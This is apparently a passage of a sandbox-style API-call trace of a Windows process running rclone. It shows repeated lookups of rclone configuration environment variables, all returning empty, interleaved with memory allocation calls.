0x0 [0184.413] GetEnvironmentVariableW (in: lpName="RCLONE_SEPARATOR", lpBuffer=0xc0008baa90, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.413] VirtualAlloc (lpAddress=0xc0008bc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008bc000 [0184.414] GetEnvironmentVariableW (in: lpName="RCLONE_DOWNLOAD", lpBuffer=0xc0008bab60, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.414] GetEnvironmentVariableW (in: lpName="RCLONE_CHECKFILE", lpBuffer=0xc0008bac30, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.414] GetEnvironmentVariableW (in: lpName="RCLONE_ONE_WAY", lpBuffer=0xc0008bad00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.414] GetEnvironmentVariableW (in: lpName="RCLONE_COMBINED", lpBuffer=0xc0008badd0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.414] VirtualAlloc (lpAddress=0xc0008be000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008be000 [0184.414] GetEnvironmentVariableW (in: lpName="RCLONE_MISSING_ON_SRC", lpBuffer=0xc0008baea0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.415] GetEnvironmentVariableW (in: lpName="RCLONE_MISSING_ON_DST", lpBuffer=0xc0008baf70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.415] GetEnvironmentVariableW (in: lpName="RCLONE_MATCH", lpBuffer=0xc0008bb040, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.415] GetEnvironmentVariableW (in: lpName="RCLONE_DIFFER", lpBuffer=0xc0008bb110, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.415] GetEnvironmentVariableW (in: lpName="RCLONE_ERROR", lpBuffer=0xc0008bb1e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.419] VirtualAlloc (lpAddress=0xc0008c0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008c0000 [0184.420] GetEnvironmentVariableW (in: lpName="RCLONE_RESYNC", lpBuffer=0xc0008bb2b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.420] GetEnvironmentVariableW (in: lpName="RCLONE_RESYNC_MODE", lpBuffer=0xc0008bb380, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.420] GetEnvironmentVariableW (in: lpName="RCLONE_CHECK_ACCESS", lpBuffer=0xc0008bb450, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.420] GetEnvironmentVariableW (in: lpName="RCLONE_CHECK_FILENAME", lpBuffer=0xc0008bb520, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.420] GetEnvironmentVariableW (in: lpName="RCLONE_FORCE", lpBuffer=0xc0008bb5f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.420] GetEnvironmentVariableW (in: lpName="RCLONE_CHECK_SYNC", lpBuffer=0xc0008bb6c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.420] GetEnvironmentVariableW (in: lpName="RCLONE_CREATE_EMPTY_SRC_DIRS", lpBuffer=0xc0008bb790, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.420] GetEnvironmentVariableW (in: lpName="RCLONE_REMOVE_EMPTY_DIRS", lpBuffer=0xc0008bb860, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.420] GetEnvironmentVariableW (in: lpName="RCLONE_FILTERS_FILE", lpBuffer=0xc0008bb930, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.420] GetEnvironmentVariableW (in: lpName="RCLONE_WORKDIR", lpBuffer=0xc0008bba00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.420] GetEnvironmentVariableW (in: lpName="RCLONE_BACKUP_DIR1", lpBuffer=0xc0008bbad0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.421] GetEnvironmentVariableW (in: lpName="RCLONE_BACKUP_DIR2", lpBuffer=0xc0008bbba0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.421] GetEnvironmentVariableW (in: lpName="RCLONE_DEBUGNAME", lpBuffer=0xc0008bbc70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.421] GetEnvironmentVariableW (in: lpName="RCLONE_LOCALTIME", lpBuffer=0xc0008bbd40, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.421] GetEnvironmentVariableW (in: lpName="RCLONE_NO_CLEANUP", lpBuffer=0xc0008bbe10, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.421] GetEnvironmentVariableW (in: lpName="RCLONE_IGNORE_LISTING_CHECKSUM", lpBuffer=0xc0008bbee0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.422] VirtualAlloc (lpAddress=0xc0008c4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008c4000 [0184.422] GetEnvironmentVariableW (in: lpName="RCLONE_RESILIENT", lpBuffer=0xc0008c4000, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.422] GetEnvironmentVariableW (in: lpName="RCLONE_RECOVER", lpBuffer=0xc0008c40d0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.422] GetEnvironmentVariableW (in: lpName="RCLONE_COMPARE", lpBuffer=0xc0008c41a0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.422] GetEnvironmentVariableW (in: lpName="RCLONE_NO_SLOW_HASH", lpBuffer=0xc0008c4270, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.422] GetEnvironmentVariableW (in: lpName="RCLONE_SLOW_HASH_SYNC_ONLY", lpBuffer=0xc0008c4340, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.422] GetEnvironmentVariableW (in: lpName="RCLONE_DOWNLOAD_HASH", lpBuffer=0xc0008c4410, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.422] GetEnvironmentVariableW (in: lpName="RCLONE_MAX_LOCK", lpBuffer=0xc0008c44e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.423] GetEnvironmentVariableW (in: lpName="RCLONE_CONFLICT_RESOLVE", lpBuffer=0xc0008c45b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.423] VirtualAlloc (lpAddress=0xc0008c6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008c6000 [0184.423] GetEnvironmentVariableW (in: lpName="RCLONE_CONFLICT_LOSER", lpBuffer=0xc0008c4680, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.423] GetEnvironmentVariableW (in: lpName="RCLONE_CONFLICT_SUFFIX", lpBuffer=0xc0008c4750, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.424] GetEnvironmentVariableW (in: lpName="RCLONE_DOWNLOAD", lpBuffer=0xc0008c4820, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.424] GetEnvironmentVariableW (in: lpName="RCLONE_ONE_WAY", lpBuffer=0xc0008c48f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.424] GetEnvironmentVariableW (in: lpName="RCLONE_COMBINED", lpBuffer=0xc0008c49c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.424] GetEnvironmentVariableW (in: lpName="RCLONE_MISSING_ON_SRC", lpBuffer=0xc0008c4a90, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.424] GetEnvironmentVariableW (in: lpName="RCLONE_MISSING_ON_DST", lpBuffer=0xc0008c4b60, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.424] GetEnvironmentVariableW (in: lpName="RCLONE_MATCH", lpBuffer=0xc0008c4c30, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.424] GetEnvironmentVariableW (in: lpName="RCLONE_DIFFER", lpBuffer=0xc0008c4d00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.424] GetEnvironmentVariableW (in: lpName="RCLONE_ERROR", lpBuffer=0xc0008c4dd0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.426] VirtualAlloc (lpAddress=0xc0008c8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008c8000 [0184.426] VirtualAlloc (lpAddress=0xc0008ca000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008ca000 [0184.426] VirtualAlloc (lpAddress=0xc0008cc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008cc000 [0184.428] GetEnvironmentVariableW (in: lpName="RCLONE_OBSCURE", lpBuffer=0xc0008c4ea0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.428] GetEnvironmentVariableW (in: lpName="RCLONE_NO_OBSCURE", lpBuffer=0xc0008c4f70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.428] GetEnvironmentVariableW (in: lpName="RCLONE_NON_INTERACTIVE", lpBuffer=0xc0008c5040, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.428] GetEnvironmentVariableW (in: lpName="RCLONE_CONTINUE", lpBuffer=0xc0008c5110, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.428] GetEnvironmentVariableW (in: lpName="RCLONE_ALL", lpBuffer=0xc0008c51e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.428] GetEnvironmentVariableW (in: lpName="RCLONE_STATE", lpBuffer=0xc0008c52b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.428] GetEnvironmentVariableW (in: lpName="RCLONE_RESULT", lpBuffer=0xc0008c5380, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.428] GetEnvironmentVariableW (in: lpName="RCLONE_OBSCURE", lpBuffer=0xc0008c5450, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.428] GetEnvironmentVariableW (in: lpName="RCLONE_NO_OBSCURE", lpBuffer=0xc0008c5520, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.428] VirtualAlloc (lpAddress=0xc0008ce000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008ce000 [0184.428] GetEnvironmentVariableW (in: lpName="RCLONE_NON_INTERACTIVE", lpBuffer=0xc0008c55f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.428] GetEnvironmentVariableW (in: lpName="RCLONE_CONTINUE", lpBuffer=0xc0008c56c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.428] GetEnvironmentVariableW (in: lpName="RCLONE_ALL", lpBuffer=0xc0008c5790, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.428] GetEnvironmentVariableW (in: lpName="RCLONE_STATE", lpBuffer=0xc0008c5860, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.428] GetEnvironmentVariableW (in: lpName="RCLONE_RESULT", lpBuffer=0xc0008c5930, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.428] GetEnvironmentVariableW (in: lpName="RCLONE_JSON", lpBuffer=0xc0008c5a00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.429] GetEnvironmentVariableW (in: lpName="RCLONE_CREATE_EMPTY_SRC_DIRS", lpBuffer=0xc0008c5ad0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.429] GetEnvironmentVariableW (in: lpName="RCLONE_AUTO_FILENAME", lpBuffer=0xc0008c5ba0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.429] GetEnvironmentVariableW (in: lpName="RCLONE_HEADER_FILENAME", lpBuffer=0xc0008c5c70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.429] GetEnvironmentVariableW (in: lpName="RCLONE_PRINT_FILENAME", lpBuffer=0xc0008c5d40, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.429] GetEnvironmentVariableW (in: lpName="RCLONE_NO_CLOBBER", lpBuffer=0xc0008c5e10, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.429] GetEnvironmentVariableW (in: lpName="RCLONE_STDOUT", lpBuffer=0xc0008c5ee0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.430] VirtualAlloc (lpAddress=0xc0008d0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008d0000 [0184.430] GetEnvironmentVariableW (in: lpName="RCLONE_ONE_WAY", lpBuffer=0xc0008d0000, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.430] GetEnvironmentVariableW (in: lpName="RCLONE_COMBINED", lpBuffer=0xc0008d00d0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.430] GetEnvironmentVariableW (in: lpName="RCLONE_MISSING_ON_SRC", lpBuffer=0xc0008d01a0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.430] GetEnvironmentVariableW (in: lpName="RCLONE_MISSING_ON_DST", lpBuffer=0xc0008d0270, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.430] GetEnvironmentVariableW (in: lpName="RCLONE_MATCH", lpBuffer=0xc0008d0340, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.430] GetEnvironmentVariableW (in: lpName="RCLONE_DIFFER", lpBuffer=0xc0008d0410, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.430] GetEnvironmentVariableW (in: lpName="RCLONE_ERROR", lpBuffer=0xc0008d04e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.431] GetEnvironmentVariableW (in: lpName="RCLONE_REVERSE", lpBuffer=0xc0008d05b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.431] GetEnvironmentVariableW (in: lpName="RCLONE_DEDUPE_MODE", lpBuffer=0xc0008d0680, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.431] GetEnvironmentVariableW (in: lpName="RCLONE_BY_HASH", lpBuffer=0xc0008d0750, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.431] GetEnvironmentVariableW (in: lpName="RCLONE_RMDIRS", lpBuffer=0xc0008d0820, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.435] VirtualAlloc (lpAddress=0xc0008d2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008d2000 [0184.438] GetEnvironmentVariableW (in: lpName="RCLONE_BASE64", lpBuffer=0xc0008d08f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.438] GetEnvironmentVariableW (in: lpName="RCLONE_OUTPUT_FILE", lpBuffer=0xc0008d09c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.438] GetEnvironmentVariableW (in: lpName="RCLONE_CHECKFILE", lpBuffer=0xc0008d0a90, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.438] GetEnvironmentVariableW (in: lpName="RCLONE_DOWNLOAD", lpBuffer=0xc0008d0b60, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.438] GetEnvironmentVariableW (in: lpName="RCLONE_EXPIRE", lpBuffer=0xc0008d0c30, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.438] GetEnvironmentVariableW (in: lpName="RCLONE_UNLINK", lpBuffer=0xc0008d0d00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.438] GetEnvironmentVariableW (in: lpName="RCLONE_LONG", lpBuffer=0xc0008d0dd0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.438] GetEnvironmentVariableW (in: lpName="RCLONE_RECURSIVE", lpBuffer=0xc0008d0ea0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.439] GetEnvironmentVariableW (in: lpName="RCLONE_FORMAT", lpBuffer=0xc0008d0f70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.439] GetEnvironmentVariableW (in: lpName="RCLONE_TIME_FORMAT", lpBuffer=0xc0008d1040, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.439] GetEnvironmentVariableW (in: lpName="RCLONE_SEPARATOR", lpBuffer=0xc0008d1110, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.439] GetEnvironmentVariableW (in: lpName="RCLONE_DIR_SLASH", lpBuffer=0xc0008d11e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.439] GetEnvironmentVariableW (in: lpName="RCLONE_HASH", lpBuffer=0xc0008d12b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.439] GetEnvironmentVariableW (in: lpName="RCLONE_FILES_ONLY", lpBuffer=0xc0008d1380, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.439] GetEnvironmentVariableW (in: lpName="RCLONE_DIRS_ONLY", lpBuffer=0xc0008d1450, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.439] VirtualAlloc (lpAddress=0xc0008d4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008d4000 [0184.439] GetEnvironmentVariableW (in: lpName="RCLONE_CSV", lpBuffer=0xc0008d1520, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.439] GetEnvironmentVariableW (in: lpName="RCLONE_ABSOLUTE", lpBuffer=0xc0008d15f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.439] GetEnvironmentVariableW (in: lpName="RCLONE_RECURSIVE", lpBuffer=0xc0008d16c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.440] VirtualAlloc (lpAddress=0xc0008d6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008d6000 [0184.440] GetEnvironmentVariableW (in: lpName="RCLONE_RECURSIVE", lpBuffer=0xc0008d1790, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.440] GetEnvironmentVariableW (in: lpName="RCLONE_HASH", lpBuffer=0xc0008d1860, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.441] GetEnvironmentVariableW (in: lpName="RCLONE_NO_MODTIME", lpBuffer=0xc0008d1930, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.441] GetEnvironmentVariableW (in: lpName="RCLONE_NO_MIMETYPE", lpBuffer=0xc0008d1a00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.441] GetEnvironmentVariableW (in: lpName="RCLONE_ENCRYPTED", lpBuffer=0xc0008d1ad0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.441] GetEnvironmentVariableW (in: lpName="RCLONE_ORIGINAL", lpBuffer=0xc0008d1ba0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.441] GetEnvironmentVariableW (in: lpName="RCLONE_FILES_ONLY", lpBuffer=0xc0008d1c70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.441] GetEnvironmentVariableW (in: lpName="RCLONE_DIRS_ONLY", lpBuffer=0xc0008d1d40, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.441] GetEnvironmentVariableW (in: lpName="RCLONE_METADATA", lpBuffer=0xc0008d1e10, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.442] VirtualAlloc (lpAddress=0xc0008d8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008d8000 [0184.442] GetEnvironmentVariableW (in: lpName="RCLONE_HASH_TYPE", lpBuffer=0xc0008d1ee0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.442] VirtualAlloc (lpAddress=0xc0008da000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008da000 [0184.442] GetEnvironmentVariableW (in: lpName="RCLONE_STAT", lpBuffer=0xc0008da000, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.442] GetEnvironmentVariableW (in: lpName="RCLONE_BASE64", lpBuffer=0xc0008da0d0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.442] GetEnvironmentVariableW (in: lpName="RCLONE_OUTPUT_FILE", lpBuffer=0xc0008da1a0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.442] GetEnvironmentVariableW (in: lpName="RCLONE_CHECKFILE", lpBuffer=0xc0008da270, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.442] GetEnvironmentVariableW (in: lpName="RCLONE_DOWNLOAD", lpBuffer=0xc0008da340, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.443] GetEnvironmentVariableW (in: lpName="RCLONE_DELETE_EMPTY_SRC_DIRS", lpBuffer=0xc0008da410, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.468] GetEnvironmentVariableW (in: lpName="RCLONE_CREATE_EMPTY_SRC_DIRS", lpBuffer=0xc0008da4e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.469] VirtualAlloc (lpAddress=0xc0008dc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008dc000 [0184.470] VirtualAlloc (lpAddress=0xc0008de000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008de000 [0184.471] VirtualAlloc (lpAddress=0xc0008e0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008e0000 [0184.471] GetEnvironmentVariableW (in: lpName="RCLONE_NO_OUTPUT", lpBuffer=0xc0008da5b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.472] GetEnvironmentVariableW (in: lpName="RCLONE_URL", lpBuffer=0xc0008da680, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.472] GetEnvironmentVariableW (in: lpName="RCLONE_JSON", lpBuffer=0xc0008da750, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.472] GetEnvironmentVariableW (in: lpName="RCLONE_USER", lpBuffer=0xc0008da820, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.472] GetEnvironmentVariableW (in: lpName="RCLONE_PASS", lpBuffer=0xc0008da8f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.472] GetEnvironmentVariableW (in: lpName="RCLONE_LOOPBACK", lpBuffer=0xc0008da9c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.472] VirtualAlloc (lpAddress=0xc0008e2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008e2000 [0184.472] GetEnvironmentVariableW (in: lpName="RCLONE_OPT", lpBuffer=0xc0008daa90, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.472] GetEnvironmentVariableW (in: lpName="RCLONE_ARG", lpBuffer=0xc0008dab60, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.473] VirtualAlloc (lpAddress=0xc0008e4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008e4000 [0184.473] GetEnvironmentVariableW (in: lpName="RCLONE_OPTION", lpBuffer=0xc0008dac30, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.473] GetEnvironmentVariableW (in: lpName="RCLONE_JSON", lpBuffer=0xc0008dad00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.473] GetEnvironmentVariableW (in: lpName="RCLONE_SIZE", lpBuffer=0xc0008dadd0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.475] VirtualAlloc (lpAddress=0xc0008e6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008e6000 [0184.475] VirtualAlloc (lpAddress=0xc0008e8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008e8000 [0184.476] VirtualAlloc (lpAddress=0xc0008ea000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008ea000 [0184.479] VirtualAlloc (lpAddress=0xc0008ec000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008ec000 [0184.486] VirtualAlloc (lpAddress=0xc0008ee000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008ee000 [0184.486] VirtualAlloc (lpAddress=0xc0008f0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008f0000 [0184.487] VirtualAlloc (lpAddress=0xc0008f2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008f2000 [0184.487] VirtualAlloc (lpAddress=0xc0008f4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008f4000 [0184.488] VirtualAlloc (lpAddress=0xc0008f6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008f6000 [0184.489] VirtualAlloc (lpAddress=0xc0008f8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008f8000 [0184.489] VirtualAlloc (lpAddress=0xc0008fa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008fa000 [0184.490] VirtualAlloc (lpAddress=0xc0008fc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008fc000 [0184.491] VirtualAlloc (lpAddress=0xc000900000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000900000 [0184.492] GetEnvironmentVariableW (in: lpName="RCLONE_HTPASSWD", lpBuffer=0xc0008db1e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.492] GetEnvironmentVariableW (in: lpName="RCLONE_REALM", lpBuffer=0xc0008db2b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.492] GetEnvironmentVariableW (in: lpName="RCLONE_USER", lpBuffer=0xc0008db380, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.492] GetEnvironmentVariableW (in: lpName="RCLONE_PASS", lpBuffer=0xc0008db450, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.492] GetEnvironmentVariableW (in: lpName="RCLONE_SALT", lpBuffer=0xc0008db520, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.492] VirtualAlloc (lpAddress=0xc0008fe000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008fe000 [0184.493] GetEnvironmentVariableW (in: lpName="RCLONE_ADDR", lpBuffer=0xc0008db5f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.493] GetEnvironmentVariableW (in: lpName="RCLONE_SERVER_READ_TIMEOUT", lpBuffer=0xc0008db6c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.493] GetEnvironmentVariableW (in: lpName="RCLONE_SERVER_WRITE_TIMEOUT", lpBuffer=0xc0008db790, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.493] GetEnvironmentVariableW (in: lpName="RCLONE_MAX_HEADER_BYTES", lpBuffer=0xc0008db860, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.493] GetEnvironmentVariableW (in: lpName="RCLONE_CERT", lpBuffer=0xc0008db930, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.493] GetEnvironmentVariableW (in: lpName="RCLONE_KEY", lpBuffer=0xc0008dba00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.493] GetEnvironmentVariableW (in: lpName="RCLONE_CLIENT_CA", lpBuffer=0xc0008dbad0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.493] GetEnvironmentVariableW (in: lpName="RCLONE_BASEURL", lpBuffer=0xc0008dbba0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.493] GetEnvironmentVariableW (in: lpName="RCLONE_MIN_TLS_VERSION", lpBuffer=0xc0008dbc70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.493] GetEnvironmentVariableW (in: lpName="RCLONE_ALLOW_ORIGIN", lpBuffer=0xc0008dbd40, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.493] GetEnvironmentVariableW (in: lpName="RCLONE_STDIO", lpBuffer=0xc0008dbe10, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.493] GetEnvironmentVariableW (in: lpName="RCLONE_APPEND_ONLY", lpBuffer=0xc0008dbee0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.493] VirtualAlloc (lpAddress=0xc000906000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000906000 [0184.494] GetEnvironmentVariableW (in: lpName="RCLONE_PRIVATE_REPOS", lpBuffer=0xc000906000, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.494] GetEnvironmentVariableW (in: lpName="RCLONE_CACHE_OBJECTS", lpBuffer=0xc0009060d0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.494] VirtualAlloc (lpAddress=0xc000908000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000908000 [0184.494] GetEnvironmentVariableW (in: lpName="RCLONE_BASE64", lpBuffer=0xc0009061a0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.494] GetEnvironmentVariableW (in: lpName="RCLONE_OUTPUT_FILE", lpBuffer=0xc000906270, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.494] GetEnvironmentVariableW (in: lpName="RCLONE_CHECKFILE", lpBuffer=0xc000906340, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.494] GetEnvironmentVariableW (in: lpName="RCLONE_DOWNLOAD", lpBuffer=0xc000906410, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.495] GetEnvironmentVariableW (in: lpName="RCLONE_JSON", lpBuffer=0xc0009064e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.495] GetEnvironmentVariableW (in: lpName="RCLONE_CREATE_EMPTY_SRC_DIRS", lpBuffer=0xc0009065b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.495] GetEnvironmentVariableW (in: lpName="RCLONE_COMBINED", lpBuffer=0xc000906680, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.495] GetEnvironmentVariableW (in: lpName="RCLONE_MISSING_ON_SRC", lpBuffer=0xc000906750, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.495] GetEnvironmentVariableW (in: lpName="RCLONE_MISSING_ON_DST", lpBuffer=0xc000906820, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.495] GetEnvironmentVariableW (in: lpName="RCLONE_MATCH", lpBuffer=0xc0009068f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.495] 